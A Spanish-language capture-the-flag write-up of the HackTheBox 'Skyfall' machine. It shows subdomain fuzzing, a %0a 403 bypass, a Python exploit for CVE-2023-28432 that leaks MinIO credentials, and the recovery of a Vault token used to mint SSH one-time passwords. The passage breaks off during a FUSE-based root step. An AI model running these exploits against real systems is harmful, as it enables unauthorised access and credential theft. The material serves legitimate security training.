Skyfall – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Insane /Insana
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Skyfall” es una máquina de categoría Insana de la plataforma HackTheBox
. La página está corriendo un servidor web el cual tiene un subdominio que podemos encontrar buscando subdominios por vhosting
. La nueva página muestra un servicio de muestra, del cual somos capaces de acceder como un usuario invitado. Una vez dentro, somos capaces de acceder a un directorio prohibido inyectando un “null byte”. Dentro de este directorio encontramos un servicio de MinIO
vulnerable a CVE-2023-28432, el cual nos permite ver credenciales para HashiCorp Value
en un endpoint expuesto. Con esto somos capaces de encontrar keys para HashiCorp Value
y loguear por SSH
como un usuario. Ya dentro, este usuario puede correr un programa para abrir values de HashiCorp
con sudo
. El programa permite crear un archivo de en modo debug
. Para poder leer este archivo debug es que creamos una pequeña montura en el sistema por medio de libfuse
(FUSE
), lo cual nos permite leer el archivo de debug
y obtener credenciales como root
.
User / Usuario Link to heading
Empezando con un scan con Nmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
❯ sudo nmap -sVC -p22,80 10.10.11.254 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 18:31 -04
Nmap scan report for 10.10.11.254
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
Visitando http://10.10.11.254
muestra una simple página web:
Noto también, de la página web, que ésta indica un dominio: skyfall.htb
. De manera que decido agregar este dominio a mi archivo /etc/hosts
corriendo:
❯ echo '10.10.11.254 skyfall.htb' | sudo tee -a /etc/hosts
10.10.11.254 skyfall.htb
La página en sñi no muestra mucha información interesante fuera de promocionar un servicio para almacenar datos en la nube.
En este punto decido buscar por subdominios ya que el sitio web podría estar realizando vhosting
. Para esto usamos la herramienta ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://skyfall.htb/ -H 'Host: FUZZ.skyfall.htb' -fs 20631
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://skyfall.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.skyfall.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 20631
________________________________________________
demo [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 608ms]
:: Progress: [4989/4989] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:20] :: Errors: 0 ::
De donde encontramos un dominio: demo.skyfall.htb
. Así que agrego este nuevo dominio a mi archivo /etc/hosts
y ahora este archivo se ve como:
❯ cat /etc/hosts | tail -n 1
10.10.11.254 skyfall.htb demo.skyfall.htb
Visitando http://demo.skyfall.htb
muestra un simple Demo de Sky Storage
(el servicio descrito en la página principal).
Tal cual dice el sitio web, podemos utilizar las credenciales guest:guest
para acceder a un servicio de demo. Una vez dentro, puedo ver un panel:
Luego de intentar muchas cosas, al lado izquierdo podemos ver la opción MinIO Metrics
. Clickeando en esta opción redirige a http://demo.skyfall.htb/metrics
, pero el sitio retorna 403 Forbidden
(acceso prohibido). Reviso si podemos bypassear y revisar esta página utilizando ffuf
. Para ello extraigo mi cookie de la sesión guest
(en Firefox
es simplemente Ctrl + Shift + I
, vamos a Storage
y extraemos el valor de la cookie de session
) y corremos:
❯ ffuf -w /usr/share/seclists/Fuzzing/URI-hex.txt:FUZZ -u http://demo.skyfall.htb/metricsFUZZ -b 'session=.eJw<SNIP>kM' -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://demo.skyfall.htb/metricsFUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/URI-hex.txt
:: Header : Cookie: session=.eJw<SNIP>kM
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
%0a [Status: 200, Size: 44883, Words: 4191, Lines: 9, Duration: 299ms]
:: Progress: [256/256] :: Job [1/1] :: 122 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
donde 'session=.eJw<SNIP>kM'
es la cookie (que he acortado porque es bastante extensa) de la sesión de usuario guest
.
Aparentemente, agregar un null byte
bypassea la restricción y nos deja acceder al sitio prohibido. Si visito http://demo.skyfall.htb/metrics%0a
desde mi navegador de internet funciona y ahora podemos ver su contenido:
De manera que estamos ante un servicio MinIO
. Buscando por What is MinIO
(¿qué es MinIO?
), basados en su página oficial, tenemos:
MinIO
is a high-performance, S3 compatible object store. It is built for large scale AI/ML, data lake and database workloads. It is software-defined and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license.Es decir, es un servicio para administrar y guardar data en la nube.
Aparentemente, el servicio de datos que se ofrecía en la página principal parece ser que usa MinIO
.
Continuando con la inspección, al final de la página puedo ver algo:
Veo que el servicio está llamando al dominio prd23-s3-backend.skyfall.htb
.
Por ende, agrego este nuevo dominio a mi archivo /etc/hosts
:
❯ cat /etc/hosts | tail -n 1
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb
Buscando por vulnerabilidades recientes para MinIO
, somos capaces de encontrar la vulnerabilidad catalogada como CVE-2023-28432, tal cual se describe en este repositorio de Github. En resumen, pueden haber algunas variables de entorno filtradas/leakeadas desde el endpoint /minio/bootstrap/v1/verify
. Visitamos entonces http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
, interceptamos la petición con Burpsuite
y cambiamos el método a POST
:
o en un simple script de Python
:
#!/usr/bin/python3
import requests
import sys
def make_request(url: str)->None:
generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Dnt": "1",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none", "Sec-Fetch-User":
"?1", "Te": "trailers",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
print(f"[*] Making request to {url!r}")
r = requests.post(url, headers=generic_headers)
if r.status_code != 200:
print(f"[!] Invalid status code from response (HTTP code {r.status_code!r})")
sys.exit(1)
minio_root_user = r.json().get("MinioEnv", {}).get("MINIO_ROOT_USER")
minio_root_password = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
minio_secret_key = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
print(f"[+] MINIO_ROOT_USER: {minio_root_user}")
print(f"[+] MINIO_ROOT_PASSWORD: {minio_root_password}")
return
def main()->None:
url: str = "http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify"
make_request(url)
if __name__ == "__main__":
main()
Corriendo el script nos retorna unas credenciales:
❯ python3 minio_leaked_data.py
[*] Making request to 'http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify'
[+] MINIO_ROOT_USER: 5GrE1B2YGGyZzNHZaIww
[+] MINIO_ROOT_PASSWORD: GkpjkmiVmpFuL2d3oRx0
De manera que tenemos un usuario y contraseña.
Intento usar estas credenciales en la página, pero no funcionan.
Luego de una breve investigación, encuentro que existe el cliente de MinIO (MinIO
client). El cual nos permite interactuar con el servicio a través de consola.
Nos descargamos el binario para este servicio de esta página (descargando el binario mc
para nuestra arquitectura de sistema operativo correspondiente) o descargándolo a través de consola con wget
:
❯ wget https://dl.min.io/client/mc/release/linux-amd64/mc
--2024-05-19 19:58:16-- https://dl.min.io/client/mc/release/linux-amd64/mc
Resolving dl.min.io (dl.min.io)... 178.128.69.202, 138.68.11.125
Connecting to dl.min.io (dl.min.io)|178.128.69.202|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26771608 (26M) [application/octet-stream]
Saving to: ‘mc’
mc 100%[=======================================================================================>] 25.53M 857KB/s in 30s
❯ chmod +x ./mc
Revisando los comandos disponibles, tenemos:
❯ ./mc -h
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── (q)uit/esc
NAME:
mc - MinIO Client for object storage and filesystems.
USAGE:
mc [FLAGS] COMMAND [COMMAND FLAGS | -h] [ARGUMENTS...]
COMMANDS:
alias manage server credentials in configuration file
admin manage MinIO servers
anonymous manage anonymous access to buckets and objects
batch manage batch jobs
cp copy objects
cat display object contents
diff list differences in object name, size, and date between two buckets
du summarize disk usage recursively
encrypt manage bucket encryption config
event manage object notifications
find search for objects
get get s3 object to local
head display first 'n' lines of an object
ilm manage bucket lifecycle
idp manage MinIO IDentity Provider server configuration
license license related commands
legalhold manage legal hold for object(s)
ls list buckets and objects
mb make a bucket
mv move objects
mirror synchronize object(s) to a remote site
od measure single stream upload and download
ping perform liveness check
pipe stream STDIN to an object
put upload an object to a bucket
quota manage bucket quota
rm remove object(s)
Buscando en la documentación para este binario tenemos que correr lo siguiente para hacer un deploy en local:
mc alias set <alias> <endpoint> <access-key> <secret-key>
donde <alias>
es el nombre que le daremos a la conexión, <endpoint>
es la url del servicio MinIO
, <access-key>
es una llave de acceso o usuario, y <secret-key>
es una llave secreta o contraseña.
Una vez agregada, podemos revisar todos los recursos corriendo:
mc ls --recursive --versions <alias>
En mi caso, le daré a la conexión el nombre de leaked
y utilizaré las contraseñas filtradas de la vulnerabilidad del endpoint. Así, corremos:
❯ ./mc alias set leaked http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
mc: Configuration written to `/home/gunzf0x/.mc/config.json`. Please update your access credentials.
mc: Successfully created `/home/gunzf0x/.mc/share`.
mc: Initialized share uploads `/home/gunzf0x/.mc/share/uploads.json` file.
mc: Initialized share downloads `/home/gunzf0x/.mc/share/downloads.json` file.
Added `leaked` successfully.
Y podemos revisar su contenido:
❯ ./mc ls --recursive --versions leaked
[2023-11-08 01:59:15 -03] 0B askyy/
[2023-11-08 02:35:28 -03] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 18:37:25 -03] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 18:37:09 -03] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 18:36:30 -03] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 01:58:56 -03] 0B btanner/
[2023-11-08 02:35:36 -03] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 01:58:33 -03] 0B emoneypenny/
[2023-11-08 02:35:56 -03] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 01:58:22 -03] 0B gmallory/
[2023-11-08 02:36:02 -03] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 21:08:01 -03] 0B guest/
[2023-11-07 21:08:05 -03] 48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 01:59:05 -03] 0B jbond/
[2023-11-08 02:35:45 -03] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 01:58:10 -03] 0B omansfield/
[2023-11-08 02:36:09 -03] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 01:58:45 -03] 0B rsilva/
[2023-11-08 02:35:51 -03] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
donde puedo ver un archivo de respaldo llamado askyy/home_backup.tar
Ahora, podemos copiar archivos corriendo:
mc cp <path-inside-alias> <outfile-name>
De manera que ejecuto:
❯ ./mc cp --recursive leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz
...b/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.97 KiB/s 1s
Extraigo el contenido del comprimido y noto que ahora tenemos algunos archivos:
❯ cd home_backup.tar.gz
❯ ls -la
total 12
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 19 20:19 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
❯ tar -xzvf home_backup.tar.gz
./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed
❯ ls -la
total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov 9 2023 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x 1 Nov 9 2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3771 Nov 9 2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct 9 2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x 807 Jan 6 2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov 9 2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x 0 Oct 9 2023 .sudo_as_admin_successful
pero, tristemente, no hay nada interesante.
Ya en este punto muerto recuerdo que habían distintas versiones del archivo askyy/home_backup.tar.gz
. Asumo que son diferentes “logs/tags” cuando hacemos cambios/realizamos un nuevo respaldo. Una de las versiones que se mostraban era 2b75346d-2a47-4203-ab09-3c9f878466b8
para el archivo comprimido de respaldo. De manera que descargamos específicamente esa versión usando la flag --vid
:
❯ ./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz
...b/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.39 KiB/s 1s
y vuelvo a extraer su contenido.
Si reviso los archivos descomprimidos de este archivo con distinta versión, noto que los archivos son muy similares (por no decir que son los mismos) al archivo de respaldo que habíamos descomprimido primeramente:
❯ ls -la
total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov 9 2023 .
drwxr-xr-x 5 gunzf0x gunzf0x 4096 May 19 18:21 ..
-rw-r--r-- 1 gunzf0x gunzf0x 1 Nov 9 2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3953 Nov 9 2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct 9 2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2705 May 19 20:27 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x 807 Jan 6 2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov 9 2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x 0 Oct 9 2023 .sudo_as_admin_successful
Sin embargo, el archivo .bashrc
es ligeramente diferente:
❯ cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
<SNIP>
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
<SNIP>
Donde encontramos una variable con el nombre VAULT_TOKEN
y un nuevo dominio prd23-vault-internal.skyfall.htb
.
Vuelvo a agregar este nuevo dominio a mi archivo /etc/hosts
, de manera que ahora éste se ve como:
❯ cat /etc/hosts | tail -n 1
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb
Buscando por esta variable VAULT_TOKEN
, encontramos que ésta es usada para HashiCorp Vault
:
HashiCorp Vault
is a powerful tool designed for securely managing secrets and protecting sensitive data. It is part of the HashiCorp suite of infrastructure management toolsEs decir, es un servicio para administrar y proteger data sensible.
Ya sabiendo esto, buscamos y descargamos el binario de HashiCorp Vault
para Linux
(compatible a la arquitectura de nuestra máquina de atacante) con wget
:
❯ wget https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip
--2024-05-19 20:38:13-- https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip
Resolving releases.hashicorp.com (releases.hashicorp.com)... 3.162.221.26, 3.162.221.105, 3.162.221.48, ...
Connecting to releases.hashicorp.com (releases.hashicorp.com)|3.162.221.26|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 143229555 (137M) [application/zip]
Saving to: ‘vault_1.16.2_linux_amd64.zip’
vault_1.16.2_linux_amd64.zip 100%[=======================================================================================>] 136.59M 55.9MB/s in 2.4s
Exportamos los valores hallados:
❯ export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
❯ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
y corremos el binario de HashiCorp Vault
:
❯ ./vault login
Token (will be hidden): hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor rByv1coOBC9ITZpzqbDtTUm8
token_duration 433388h16m12s
token_renewable true
token_policies ["default" "developers"]
identity_policies []
policies ["default" "developers"]
de donde, como token, simplemente he pasado el valor de la variable VAULT_TOKEN
hallada.
Podemos entonces enumerar distintos roles siguiendo como referencia este post de StackOverflow para ver si hay roles para el servicio SSH
(que, recordar, estaba activo en la máquina víctima):
❯ ./vault token capabilities ssh/roles
list
❯ ./vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role
donde encontramos 2 keys: admin_otp_key_role
y dev_otp_key_role
.
Asumiendo que estas credenciales pertenecen al usuario del que se extrajo el archivo de respaldo (llamado askyy
), nos intentamos loguear con la key admin_otp_key_role
a través de SSH
. Pero esto no funcionó:
❯ ./vault ssh -role admin_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254
failed to generate credential: failed to get credentials: Error making API request.
URL: PUT http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/admin_otp_key_role
Code: 403. Errors:
* 1 error occurred:
* permission denied
Pero si usamos la key dev_otp_key_role
, somos capaces de ingresar a través de SSH
como el usuario askyy
:
❯ ./vault ssh -role dev_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254
Warning: Permanently added '10.10.11.254' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ whoami
askyy
Por fin podemos obtener la flag del usuario en el directorio home de askyy
.
Antes de continuar, intentemos leer el contenido de dev_otp_key_role
. Puede que (y pasará) más tarde necesitamos conectarnos por medio de SSH
como el usuario askyy
en múltiples sesiones/terminales. Intentar loguearnos 2 veces usando el binario de vault
en 2 terminales distintas no es una opción ya que retornará un error de conexión.
Buscando cómo leer archivos key
en HashiCorp Vault
encontramos esta documentación explicando cómo hacerlo. Pero siguiendo las instrucciones de la página retorna un error:
❯ ./vault read ssh/creds/dev_otp_key_role
Error reading ssh/creds/dev_otp_key_role: Error making API request.
URL: GET http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role
Code: 405. Errors:
* 1 error occurred:
* unsupported operation
No tenemos permisos para leerla.
No obstante, investigando más encuentro que somos capaces de generar nuevas credenciales para SSH
basados en esta documentación. Si tratamos de generar credenciales siguiendo las instrucciones, el server nos pide una dirección IP a postear:
❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role
{"errors":["Missing ip"]}
Si pasamos como data la dirección IP de la máquina víctima ahora obtenemos datos para el usuario nobody
; un usuario que existe en el archivo /etc/passwd
de la máquina víctima (y en muchos sistemas es un usuario que viene por defecto):
❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254"}' | jq
{
"request_id": "39d8264b-c279-7b86-3605-1933b7c455af",
"lease_id": "ssh/creds/dev_otp_key_role/Y7D1NrPXje3w6xRmGjygS3Fi",
"renewable": false,
"lease_duration": 2764800,
"data": {
"ip": "10.10.11.254",
"key": "1c3be6fe-dd3f-26cf-7a95-572aaae479e9",
"key_type": "otp",
"port": 22,
"username": "nobody"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
Puedo ver un campo llamado “username”, podemos entonces hacer una petición para el usuario askyy
(el cual ya hemos impersonado anteriormente):
❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254", "username":"askyy"}' | jq
{
"request_id": "89eb700b-8467-0aea-6d4c-eaf51452fcd2",
"lease_id": "ssh/creds/dev_otp_key_role/QG1uenKuKgVECQszJHwfnZFH",
"renewable": false,
"lease_duration": 2764800,
"data": {
"ip": "10.10.11.254",
"key": "40bafb97-ebe2-c3c7-1a13-8f3cc1903a47",
"key_type": "otp",
"port": 22,
"username": "askyy"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
donde tenemos una key: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47
(esta key cambiará cada vez que corramos el commando).
Finalmente, si usamos esta key generada como la contraseña para intentar loguearnos por medio de SSH
como el usuario askyy
esto también funciona:
❯ ssh -o stricthostkeychecking=no askyy@10.10.11.254
(askyy@10.10.11.254) Password: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Sep 1 00:49:19 2024 from 10.10.16.3
askyy@skyfall:~$
Root Link to heading
Revisando qué comandos puede este usuario correr con sudo
, encontramos que podemos correr un par de comandos sin necesidad de proveer contraseña:
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User askyy may run the following commands on skyfall:
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
Revisando las opciones de este comando, tenemos:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
Usage:
vault-unseal [OPTIONS]
Application Options:
-v, --verbose enable verbose output
-d, --debug enable debugging output to file (extra logging)
-c, --config=PATH path to configuration file
Help Options:
-h, --help Show this help message
Incluso si no podemos leer el script en sí ya que no tenemos permisos, podemos encontrar el repositorio de repositorio de Github de Vault Unseal
el cual es, aparentemente, el mismo programa que podemos correr con sudo
. Es un programa el cual se usa para abrir vaults de Hashicorp Vault
.
La primera vez que entré en la máquina víctima, revisé qué archivos teníamos disponibles en /home/askyy
para ver si había algo interesante:
askyy@skyfall:~$ ls -la
total 32
drwxr-x--- 4 askyy askyy 4096 Jan 22 14:46 .
drwxr-xr-x 3 root root 4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy 9 Nov 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov 9 2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct 9 2023 .cache
-rw-r--r-- 1 askyy askyy 807 Jan 6 2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw-r----- 1 root askyy 33 May 19 22:17 user.txt
Pero luego de usar el comando con sudo
, y proveyendo la flag opcional -d
(de debugging
), noto que se ha creado un archivo debug.log
en el directorio actual de trabajo, del cual es propietario root
:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ls -la
total 36
drwxr-x--- 4 askyy askyy 4096 May 20 00:59 .
drwxr-xr-x 3 root root 4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy 9 Nov 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov 9 2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct 9 2023 .cache
-rw-r--r-- 1 askyy askyy 807 Jan 6 2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw------- 1 root root 590 May 20 00:59 debug.log
-rw-r----- 1 root askyy 33 May 19 22:17 user.txt
Y tal cual se vio antes, no tenemos permisos para leer este archivo:
askyy@skyfall:~$ cat debug.log
cat: debug.log: Permission denied
Una manera de leer esto es a través del sistema libfuse
:
libfuse
provides the reference implementation for communicating with the FUSE
kernel module. A FUSE
file system is typically implemented as a standalone application that links with libfuse
. libfuse
provides functions to mount the file system, unmount it, read requests from the kernel, and send responses back.En corto, es un sistema que nos permite realizar monturas a archivos de sistemas.
Para esto revisamos, por ejemplo, el archivo /etc/fuse.conf
en la máquina víctima:
askyy@skyfall:~$ cat /etc/fuse.conf
# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
